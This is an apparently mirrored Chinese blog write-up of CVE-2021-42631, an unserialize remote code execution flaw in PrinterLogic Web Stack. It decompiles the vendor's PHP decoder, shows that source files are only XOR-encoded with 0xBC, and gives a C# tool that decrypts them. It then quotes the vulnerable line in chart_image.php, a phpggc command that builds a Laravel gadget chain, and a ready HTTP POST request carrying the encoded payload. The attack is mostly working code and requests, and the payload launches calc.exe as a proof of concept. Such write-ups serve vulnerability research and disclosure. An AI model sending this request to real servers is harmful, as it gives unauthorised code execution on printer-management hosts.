3

CVE-2021-42631 PrinterLogic Web Stack unserialize RCE

 2 years ago
source link: https://y4er.com/post/cve-2021-42631-printerlogic-web-stack-unserialize-rce/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

CVE-2021-42631 PrinterLogic Web Stack unserialize RCE

2022-01-28 代码审计 rce php unserialize PrinterLogic

看到推特上有人发 PrinterLogic Web Stack unserialize RCE,但是poc打码了,所以自己下了一个分析一下。

这玩意是个打印机,开放了一个基于iis/php/laravel的web,而且php源码是加密的,本文就对其进行解密并分析漏洞。

打开php文件看到文件是加密的

1.png

找到php的安装路径C:\Program Files (x86)\PHP\7.3.28.0,查看php.ini的配置

2.png

用到了一个php_decoder.dll,直接拖入ida中。经过分析导入表中引入zend_compile_file,多是处理加密解密的重写。

3.png

跟进到sub_100011D0

4.png

确认解密逻辑位于sub_10001000函数中,伪代码如下

int __cdecl sub_10001000(int a1, int a2)
{
  int v2; // edi@1
  int result; // eax@4
  int v4; // eax@8
  unsigned int v5; // edx@8
  int v6; // ebx@8
  char v7; // cl@10
  char v8; // al@10
  unsigned int v9; // ebp@14
  unsigned int v10; // eax@14
  int v11; // ebx@14
  unsigned int v12; // ecx@14
  int v13; // eax@18
  int v14; // edx@21
  int v15; // ebx@21
  int v16; // esi@21
  int v17; // ecx@22
  int v18; // ST04_4@24
  int v19; // eax@24
  int v20; // esi@24
  unsigned int v21; // [sp+4h] [bp-8h]@3
  int v22; // [sp+8h] [bp-4h]@14

  v2 = a1;
  if ( a1
    && *(_DWORD *)(a1 + 44)
    && zend_stream_fixup(a1, &a1, &v21) != -1
    && *(_DWORD *)(v2 + 52) == 4
    && *(_DWORD *)v2
    && *(_DWORD *)(v2 + 20) )
  {
    v4 = v21;
    v5 = 0;
    v6 = v21 >= 0x9F;
    if ( v21 >= 0x9F )
    {
      do
      {
        if ( v5 >= 0x9F )
          break;
        v7 = *(&a_phpHeaderHttp[a1
                              - (_DWORD)"<?php\n"
                                        "header('HTTP/1.1 500 Internal Server Error');\n"
                                        "echo 'PrinterLogic decoder is not installed, please contact customer support for"
                                        " assistance';\n"
                                        "exit();\n"
                                        "?>PL"]
             + v5);
        v8 = a_phpHeaderHttp[v5];
        v6 = v7 == v8;
        ++v5;
      }
      while ( v7 == v8 );
      v4 = v21;
    }
    if ( v6 )
    {
      v9 = v4 - 159;
      v10 = emalloc__4(v4, v5);
      v11 = v10;
      v12 = 0;
      v22 = v10;
      if ( v9 )
      {
        if ( v9 >= 0x40 && (v10 > v9 + a1 + 158 || v10 + v9 - 1 < a1 + 159) )
        {
          v13 = a1;
          do
          {
            *(__m128i *)(v11 + v12) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 159), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 16) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 175), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 32) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 191), (__m128i)xmmword_100021B0);
            *(__m128i *)(v11 + v12 + 48) = _mm_xor_si128(*(__m128i *)(v13 + v12 + 207), (__m128i)xmmword_100021B0);
            v12 += 64;
          }
          while ( v12 < (v9 & 0xFFFFFFC0) );
        }
        if ( v12 < v9 )
        {
          v14 = v11 + v12;
          v15 = 159 - v22;
          v16 = v9 - v12;
          do
          {
            v17 = v15 + v14++;
            *(_BYTE *)(v14 - 1) = *(_BYTE *)(v17 + a1) ^ 0xBC;
            --v16;
          }
          while ( v16 );
          v11 = v22;
        }
      }
      memset((void *)(v11 + v9), 0, 0x9Fu);
      v18 = a2;
      a1 = *(_DWORD *)(v2 + 20);
      v21 = *(_DWORD *)(v2 + 8);
      *(_DWORD *)(v2 + 20) = v11;
      *(_DWORD *)(v2 + 8) = v9;
      v19 = dword_10003090(v2, v18);
      *(_DWORD *)(v2 + 20) = a1;
      v20 = v19;
      *(_DWORD *)(v2 + 8) = v21;
      efree__4(v11);
      result = v20;
    }
    else
    {
      result = dword_10003090(v2, a2);
    }
  }
  else
  {
    result = dword_10003090(v2, a2);
  }
  return result;
}

关键代码异或了一个0xBC,代码是看不懂了,只能盲测是不是异或0xbc

伪代码中有一个v4 - 159 刚好截取到这个地方

5.png

0x80 ^ 0xBC 试试

>>> 0x80 ^ 0xBC
60
>>> chr(60)
'<'

看起来像是php的起始标签<,再试试第二位第三位

6.png

没错了就是仅仅异或了一个0xBC

如此写脚本解密

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace ConsoleApp5
{
    internal class Program
    {

        static List<string> fileList = new List<string>();
        static string encPath = @"";
        static void Main(string[] args)
        {
            if (args.Length < 2)
            {
                Console.WriteLine("decode.exe encdir outdir");
                return;
            }
            else
            {
                Console.WriteLine($"{args[0]} {args[1]}");
            }
            encPath = args[0];
            ForeachForldersAndFiles(encPath);
            Console.WriteLine($"处理文件总数 {fileList.Count}");
            foreach (var file in fileList)
            {
                Decode(file, args[1]);
            }
            Console.WriteLine("decode done!");
        }
        static void ForeachForldersAndFiles(string path)
        {
            DirectoryInfo di = new DirectoryInfo(path);
            DirectoryInfo[] arrDir = di.GetDirectories();

            foreach (DirectoryInfo dir in arrDir)
            {
                ForeachForldersAndFiles(di + dir.ToString() + "\\");
            }

            foreach (FileInfo fi in di.GetFiles())
            {
                string content = File.ReadAllText(fi.FullName, Encoding.UTF8);
                if (content.Contains("PrinterLogic decoder is not installed"))
                {
                    fileList.Add(fi.FullName);
                    Console.WriteLine($"add {fi.FullName}");
                }
            }
        }
        static void Decode(string infile, string outfile)
        {
            Console.WriteLine("处理 " + infile);
            byte key = 0xBC;
            FileStream fileStream = new FileStream(infile, FileMode.Open, FileAccess.Read);
            BinaryReader binaryReader = new BinaryReader(fileStream);

            string outfilepath = infile.Replace(encPath, outfile);

            string directoryName = new FileInfo(outfilepath).DirectoryName;
            if (!Directory.Exists(directoryName))
            {
                Directory.CreateDirectory(directoryName);
            }

            StreamWriter streamWriter = new StreamWriter(outfilepath);
            long length = fileStream.Length;
            while (length > 0)
            {
                byte tmpByte = binaryReader.ReadByte();
                byte resByte = Convert.ToByte(tmpByte ^ key);
                char res = Convert.ToChar(resByte);
                streamWriter.Write(res);
                length--;
            }
            streamWriter.Close();
            Console.WriteLine("done " + infile);
        }
    }
}

解密之后再来审计

admin\design\reports\chart_image.php 文件中直接用了经典的base64反序列化

$dataset = unserialize(base64_decode(requeststr("dataset")));
./phpggc -u -b -f Laravel/RCE2 system 'calc.exe'
POST /admin/design/reports/chart_image.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

dataset=YSUzQTIlM0ElN0JpJTNBNyUzQk8lM0E0MCUzQSUyMklsbHVtaW5hdGUlNUNCcm9hZGNhc3RpbmclNUNQZW5kaW5nQnJvYWRjYXN0JTIyJTNBMiUzQSU3QnMlM0E5JTNBJTIyJTAwJTJBJTAwZXZlbnRzJTIyJTNCTyUzQTI4JTNBJTIySWxsdW1pbmF0ZSU1Q0V2ZW50cyU1Q0Rpc3BhdGNoZXIlMjIlM0ExJTNBJTdCcyUzQTEyJTNBJTIyJTAwJTJBJTAwbGlzdGVuZXJzJTIyJTNCYSUzQTElM0ElN0JzJTNBOCUzQSUyMmNhbGMuZXhlJTIyJTNCYSUzQTElM0ElN0JpJTNBMCUzQnMlM0E2JTNBJTIyc3lzdGVtJTIyJTNCJTdEJTdEJTdEcyUzQTglM0ElMjIlMDAlMkElMDBldmVudCUyMiUzQnMlM0E4JTNBJTIyY2FsYy5leGUlMjIlM0IlN0RpJTNBNyUzQmklM0E3JTNCJTdE
  1. https://www.yahooinc.com/paranoids/paranoids-vulnerability-research-printerlogic-issues-security-alert/

文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK